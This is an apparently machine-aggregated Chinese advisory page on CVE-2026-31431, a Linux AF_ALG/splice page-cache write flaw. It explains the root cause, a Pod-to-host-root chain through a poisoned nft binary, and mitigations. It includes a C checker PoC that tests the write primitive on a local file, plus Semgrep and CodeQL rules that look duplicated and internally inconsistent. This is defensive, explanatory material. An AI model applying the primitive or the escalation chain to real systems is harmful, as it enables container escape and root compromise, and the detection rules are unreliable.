🎯 CVE-2026-31431 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹

🎯 CVE 全聚合深度分析

CVE-2026-31431 深度技术分析

📊 聚合 8 来源🧪 含 PoC🕵️ 含指纹
NVD-LatestGitHub-AdvisoryPoC-in-GitHubExploit-DB-RSSOrca Security

摘要:CVE-2026-31431 是 Linux 内核 crypto/algif_aead 子系统中的一个高危本地漏洞,NVD 评分为 CVSS 7.8 HIGH。其根因是 AF_ALG 套接字接口在引入“就地操作(in-place)”优化后,错误地将文件 page-cache 页面暴露给 AEAD 加密请求;攻击者利用 splice() 与 AF_ALG 的组合,可在不修改磁盘文件的情况下篡改任意可读文件的 page-cache 内容。在 Talos Linux 环境中,该漏洞可被进一步组合为“Pod 到宿主机 Root 权限”的完整节点失陷,严重性很高。

📌 漏洞概述

CVE-2026-31431 是一个 Linux 内核 crypto 子系统漏洞,源于 crypto: algif_aead - Revert to operating out-of-place 补丁所修复的问题。该漏洞影响启用 AF_ALG 用户态加密接口且包含 72548b093ee3 提交(引入 in-place 操作)的 Linux 内核版本;各发行版若长期未合并该回退补丁,则同样受影响。

从攻击面看,这不是一个远程漏洞,而是“本地低权限到本地任意页缓存写”的提权/隔离绕过漏洞。攻击者无需内核调试能力、无需竞态条件,也不需要宿主机上的任何特权,只要能在受影响节点上运行一个普通 Linux 容器或用户态进程,即可触发。GitHub Advisory GHSA-m38g-vww2-mvgx 特别指出 Talos Linux 受该漏洞影响,攻击者可借助 containerd 与 overlayfs 的页缓存共享从普通 Pod 逃逸至节点 root。

🔬 漏洞根因分析

要理解 CVE-2026-31431,首先要理解 Linux 内核 AF_ALG 接口的数据路径。AF_ALG(AF_ALG socket family)允许用户态程序直接调用内核 crypto API,例如 AEAD、skcipher、hash 等。对于 algif_aead,用户通常通过 sendmsg() 将 associated data(AD)和 plaintext/ciphertext 提交给内核,再通过 recvmsg() 获取输出。在传统实现中,输入数据会被复制到内核私有缓冲区,输出数据也是从内核缓冲区复制回用户态,因此用户态页面不会直接进入加密散列表。

漏洞的引入点在于“就地操作”优化。提交 72548b093ee3 试图让 AEAD 请求在加密/解密时复用同一组 scatter-gather 列表,即让输出 scatterlist 指向与输入相同的页面。对普通用户态缓冲区来说,这或许能减少一次复制,但对 AF_ALG 而言没有任何收益——正如修复提交所说:“source and destination come from different mappings”。用户在 sendmsg() 中提供的源缓冲区和 recvmsg() 中获取结果的目标缓冲区来自不同的地址映射,二者本来就不应该重叠。将这个“就地”优化引入 algif_aead,只会制造不必要的“输入即输出”的页别名关系。

真正造成 page-cache 污染的路径来自 AF_ALG 的 splice() 支持。为了减少拷贝,内核允许调用者通过 splice() 将文件页缓存页面直接作为 AF_ALG 请求的输入页。于是,攻击者可以打开一个目标文件(例如共享的容器镜像层中的二进制文件),用 splice() 将目标文件的 page-cache 页面送入 AF_ALG 套接字。由于漏洞版本中 AEAD 请求被配置为 in-place 操作,crypto 引擎的输出 scatterlist 与输入 scatterlist 指向同一批页面。加密/解密产生的输出就会直接写入目标文件的 page-cache 页面。

这里的关键是:攻击者选择“加密”操作时,文件中的原始字节会被当作 plaintext;而“输出”则写回同一个 page-cache 页面,相当于用 ciphertext/tag 覆盖了文件在内存中的内容。对于 AEAD,associated data 同样要参与认证计算;漏洞代码试图为 AD 也省去拷贝,直接引用用户传入的页面。由于 AD 页面同样可能来自 splice() 所引用的文件页缓存,这使得恶意构造的 AD 页面也可能被写入、被拆分或在算法内部发生意外修改。修复提交中“just copy the AD directly”正是要强制将 associated data 复制到内核私有缓冲区,彻底切断页缓存别名。

简而言之,CVE-2026-31431 的根因是:AF_ALG 的 in-place 优化错误地与 splice 零拷贝机制叠加,导致内核 crypto 请求的输出可以落在文件页缓存页面上。攻击者不需要修改磁盘文件,只需要让目标页面缓存在加密请求中被当作输入输出共享页,就能静默污染该文件在内存中的内容。公开的 copy-fail-cDIRTYFAIL 等检测程序正是利用同一原语,在本地临时文件中验证“写入页缓存但不写磁盘”的篡改效果。

💥 影响与危害

CVE-2026-31431 的实际危害远超“崩溃”或“信息泄露”。它提供的是一个强大的、可重复使用的页缓存篡改原语,可以针对攻击者能够读取的任意文件页面进行修改,并且不会触发磁盘文件完整性校验。

在普通 Linux 环境中最直接的危害是:攻击者可以篡改宿主机的二进制文件页缓存,诱导管理员或特权服务执行恶意代码。例如,攻击者可以污染宿主机的 nft、iptables、CNI 插件或容器运行时管理工具的 page-cache。当这些程序以 root 权限被执行时,它们会从 page-cache 中加载攻击者构造的“内存版本”,从而在宿主机上以 root 执行任意指令。由于磁盘上的 inode 没有被修改,基于磁盘的完整性检查(如 rpm -V、文件哈希校验)无法发现异常。

在 Talos Linux 的具体利用链中,攻击者只需要能部署一个普通的 Kubernetes Pod。由于 containerd 使用 overlayfs 挂载镜像层,同一份 XFS 页缓存页面可以在攻击者 Pod 与 kube-proxy DaemonSet 之间共享。攻击者可以利用该漏洞污染 /usr/sbin/nft 在 containerd 快照层中的页缓存;随后,kube-proxy 在配置数据面时会调用 nft,此时加载的已经是攻击者篡改后的“幽灵二进制”。以此完成从“无特权 Pod”到“宿主机 root”的完整提权。

该漏洞还会破坏容器隔离边界:攻击者可以篡改其他 Pod 或宿主机进程即将读取的可执行文件、库文件或配置文件,造成供应链式污染。由于页缓存污染在内存中持续存在,即使容器被杀掉、重建,只要底层的页缓存未被回收,恶意内容仍然会影响后续访问。缺失 CISA KEV 收录意味着目前尚未观察到大规模在野利用,但该漏洞的技术原理简单、利用稳定性高,实际威胁不容低估。

🛡️ 修复与缓解

补丁修复:Linux 内核主线的修复方案是回退提交 72548b093ee3,恢复 algif_aead 的“out-of-place”操作模式,同时保留对 associated data 的直接拷贝处理。该提交从根上移除了 in-place scatterlist 共享代码,使 AEAD 请求的输出不再可能指向由 splice() 传入的文件页缓存页面。

  • 升级内核:各 Linux 发行版应及时合并包含 crypto: algif_aead - Revert to operating out-of-place 的修复版本。
  • 升级 Talos Linux:使用 Talos Linux 的用户应按照 GHSA-m38g-vww2-mvgx 的安全公告升级到包含内核修复的 Talos 版本。
  • 限制 AF_ALG 访问:在无法立即打补丁的环境中,应通过 seccomp 或容器运行时安全策略禁止容器内进程执行 socket(AF_ALG, ...) 系统调用。大多数默认 seccomp profile 已阻止 AF_ALG,需确认自定义 profile 未将其放开。
  • 禁用不需要的 crypto 用户态 API:如果业务不需要用户态使用内核加密接口,可考虑在构建内核时关闭 CONFIG_CRYPTO_USER_APICONFIG_CRYPTO_USER_API_AEAD 等选项,或通过模块黑名单禁止 algif_aead 加载。
  • 监控异常访问:在容器运行时审计日志中重点监控 AF_ALG socket 创建行为。若普通业务容器突然大量调用 socket(AF_ALG) 且伴随 splice(),应视为攻击者正在进行漏洞探测或利用尝试。

由于该漏洞可被用于构造宿主机任意文件页缓存污染,单纯依赖文件系统权限或容器镜像只读属性无法阻止攻击。最有效的缓解方式是尽快应用内核补丁,并收紧容器对 AF_ALG 设备的访问权限。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言c来源tgies/copy-fail-c针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */
/*
 * Copy Fail -- CVE-2026-31431
 * Vulnerability checker.
 *
 * Detects whether the running kernel is susceptible to the AF_ALG/splice
 * page-cache mutation primitive used by exploit.c and exploit-passwd.c,* without touching any system file. Creates a local "testfile" in the
 * working directory containing the string "init",
then runs the same
 * patch_chunk() primitive against its page cache to attempt to overwrite
 * the bytes with "vulnerable". Reads back to confirm whether the
 * mutation took.
 *
 * The on-disk inode is never modified;the testfile is removed on exit,
* and the page-cache mutation evaporates with it. Runs unprivileged.
 *
 * Exit codes:
 *   100 - kernel is vulnerable
 *   0   - kernel is not vulnerable (primitive ran but mutation did not take)
 *   2   - AF_ALG socket family or authencesn template is unavailable;
*         patch state cannot be determined from this test
 *   1   - other runtime error
 */

#define _GNU_SOURCE
#include <errno.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include "utils.h"

static const char PAYLOAD[] = "vulnerable";
#define PAYLOAD_LEN (sizeof PAYLOAD - 1)

static int check_file(const char *filename) {int fd = open(filename,O_RDONLY);if (fd <0) return 0;printf("content of %s fd=%d ---\n",filename,fd);char buf[256];ssize_t total = read(fd,buf,sizeof buf);if (total >0)
        write(STDOUT_FILENO,buf,total);close(fd);printf("\n---\n");return total >= (ssize_t)PAYLOAD_LEN &&memcmp(buf,PAYLOAD,
PAYLOAD_LEN) == 0;}static void init_file(const char *filename) {static const char init_buf[32] = "init";int fd = open(filename,O_RDWR |O_CREAT |O_TRUNC,0644);if (fd <0) {fprintf(stderr,"open(%s): %s\n",filename,strerror(errno));exit(1);}write(fd,init_buf,sizeof init_buf);close(fd);}int main(int argc,char **argv) {(void)argc;(void)argv;const char *target = "testfile";init_file(target);sync();
check_file(target);int file_fd = open(target,O_RDONLY);if (file_fd <0) {fprintf(stderr,"open(%s): %s\n",target,strerror(errno));unlink(target);return 1;}size_t iters = (PAYLOAD_LEN + 3) / 4;fprintf(stderr,"[+] target:    %s\n",target);fprintf(stderr,"[+] payload:   %zu bytes (%zu iterations)\n",PAYLOAD_LEN,iters);
/* Walk the payload in 4-byte windows. window[] is 5 bytes so the
     * trailing zero acts as a NUL terminator for the %s log below. */
    for (off_t off = 0;(size_t)off <PAYLOAD_LEN;off += 4) {unsigned char window[5] = {0,0,0,0,0 };size_t take = (PAYLOAD_LEN - (size_t)off >= 4)
                      ? 4 : PAYLOAD_LEN - (size_t)off;memcpy(window,PAYLOAD + off,take);fprintf(stderr,
"[+] patch fd=%d off=%lld bytes=\"%s\"\n",file_fd,(long long)off,window);if (patch_chunk(file_fd,off,window) <0) {int ret;if (errno == EAFNOSUPPORT) {fprintf(stderr,"[?] AF_ALG socket family unavailable;kernel patch "
                        "state cannot be determined from this test\n");ret = 2;}else if (errno == ENOENT) {fprintf(stderr,"[?] AF_ALG authencesn template not registered;
"
                        "kernel patch state cannot be determined from this "
                        "test\n");ret = 2;}else {fprintf(stderr,"[-] patch_chunk failed at offset %lld\n",(long long)off);ret = 1;}close(file_fd);unlink(target);return ret;}fprintf(stderr,"[+] patch ok\n");}close(file_fd);fprintf(stderr,"[+] page cache mutated\n");int vulnerable = check_file(target);unlink(target);
if (vulnerable) {fprintf(stderr,"[!] VULNERABLE\n");return 100;}fprintf(stderr,"[+] not vulnerable :)\n");return 0;}

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

针对该 CVE 的自动化检测规则(可直接用于扫描与审计)。

🛡️ Semgrep 审计规则: CVE-2026-31431.yaml

📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-31431.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-31431.yaml

rules:
  - id: CVE-2026-31431-rce-go
    languages:
      - go
    severity: ERROR
    message: "Potential page cache corruption via AF_ALG and splice() leading to local privilege escalation. Avoid direct usage of AF_ALG sockets with splice() on file page-cache pages."
    patterns:
      - pattern: |syscall.Splice($R,nil,$W,nil,$N,0)
    fix: |
// Avoid using splice() with AF_ALG sockets on file-backed pages.
      // Use safe I/O operations like io.Copy instead of splice.
    metadata:
      cwe: "CWE-277"
      owasp: "A5: Broken Access Control"
      technology: talos
      references:
        - "https://github.com/advisories/GHSA-m38g-vww2-mvgx"
  - id: CVE-2026-31431-rce-go-alg
    languages:
      - go
    severity: ERROR
    message: "Potential page cache corruption via AF_ALG and splice() leading to local privilege escalation. Avoid direct usage of AF_ALG sockets with splice() on file page-cache pages."
    patterns:
      - pattern: |
syscall.Splice($R,nil,$W,nil,$N,0)
    fix: |// Avoid using splice() with AF_ALG sockets on file-backed pages.
      // Use safe I/O operations like io.Copy instead of splice.
    metadata:
      cwe: "CWE-277"
      owasp: "A5: Broken Access Control"
      technology: talos
      references:
        - "https://github.com/advisories/GHSA-m38g-vww2-mvgx"

🛡️ CodeQL 审计规则: CVE-2026-31431.ql

📋 代码元数据语言ql来源rules/codeql/CVE-2026-31431.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run

/**
 * @kind path-problem
 * @id go/command-injection/cve-2026-31431
 * @name Unsafe splice() in AF_ALG leading to arbitrary code execution via nftables
 * @description Untrusted workload using AF_ALG and splice() can corrupt page-cache pages,
leading to arbitrary code execution in kube-proxy via nft binary poisoning
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-078
 */
import go
import semmle.go.security.dataflow.CommandInjectionCustomizations
import CommandInjectionFlow::PathGraph

/**
 * A source of untrusted input from inside a container (workload)
 */
class WorkloadSource extends DataFlow::Node {
WorkloadSource() {// Environment variables,command line arguments,network input,etc.
    any(DataFlow::Node src).(RemoteFlowSource) = src
    or
    // Any input received via AF_ALG socket from the container
    exists(FileReadAccess f |f.getFile().getAbsolutePath().matches("%/proc/%/fd/%"))
  }}
/**
 * A sink that represents the splice() system call on AF_ALG socket
 * which can corrupt page-cache pages
 */
class SpliceAlgSink extends DataFlow::Node {SpliceAlgSink() {exists(FunctionCall fc |fc.getTarget().getName() = "splice" and
      fc.getAnArgument().(DataFlow::Node).asExpr().getType().(PointerType).getBaseType().getName() = "alg_socket"
    )
  }}
/**
 * Sink for nft execution which can be poisoned via page-cache corruption
 */
class NftExecutionSink extends DataFlow::Node {NftExecutionSink() {exists(FunctionCall fc |
fc.getTarget().getName() = "exec" or
      fc.getTarget().getName() = "execve" or
      fc.getTarget().getName() = "syscall.Exec"
    ) and
    fc.getAnArgument().(DataFlow::Node).asExpr().(StringLiteral).getValue().matches("*/nft*")
  }}class PoC_CommandInjectionConfig extends TaintTracking::Configuration {PoC_CommandInjectionConfig() {this = "PoC_CommandInjectionConfig" }
override predicate isSource(DataFlow::Node source) {source instanceof WorkloadSource
  }override predicate isSink(DataFlow::Node sink) {sink instanceof SpliceAlgSink or
    sink instanceof NftExecutionSink
  }}from PoC_CommandInjectionConfig cfg,DataFlow::PathNode source,DataFlow::PathNode sink
where cfg.hasFlowPath(source,sink)
select sink.getNode(),source,sink,
"Untrusted workload data flows to splice() or nft execution,enabling page-cache corruption and privilege escalation"

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-09 14:10 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)